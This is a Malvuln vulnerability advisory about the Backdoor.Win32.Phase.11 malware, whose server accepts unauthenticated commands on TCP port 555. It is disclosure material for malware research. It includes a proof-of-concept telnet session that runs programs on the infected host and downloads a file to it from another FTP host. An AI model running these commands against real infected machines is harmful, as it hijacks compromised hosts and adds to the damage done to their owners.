Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/fb4fb710f031304d788d9cd1c4201552.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Phase.11 Vulnerability: Unauthenticated Remote Command Execution Description: The phAse zero server v1.1 by njord of kr0me corp listens on TCP port 555. Third-party attackers who can reach an infected system can run commands made available by the malware and execute arbitrary programs further compromising the host. Using telnet to connect worked best, to start programs you need to pass an "S" argument preceding the program name like... EXEC S PROGRAM_NAME. Other commands are CURDIR, SHOWMSG etc. The ftpd command can also be initiated to third-party FTP servers to download tools to the infected host. Type: PE32 MD5: fb4fb710f031304d788d9cd1c4201552 Vuln ID: MVID-2021-0428 Disclosure: 12/12/2021 Exploit/PoC: telnet.exe MALWARE_HOST 555 phAse zero server v1.1 by njord of kr0me corp access granted, at your commands EXEC S "calc" ftpd anonymous anonymous 192.168.18.128 . DOOM.exe contacting 192.168.18.128 ... host contacted, transferring file CURDIR c:\dump SHOWMSG hate Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).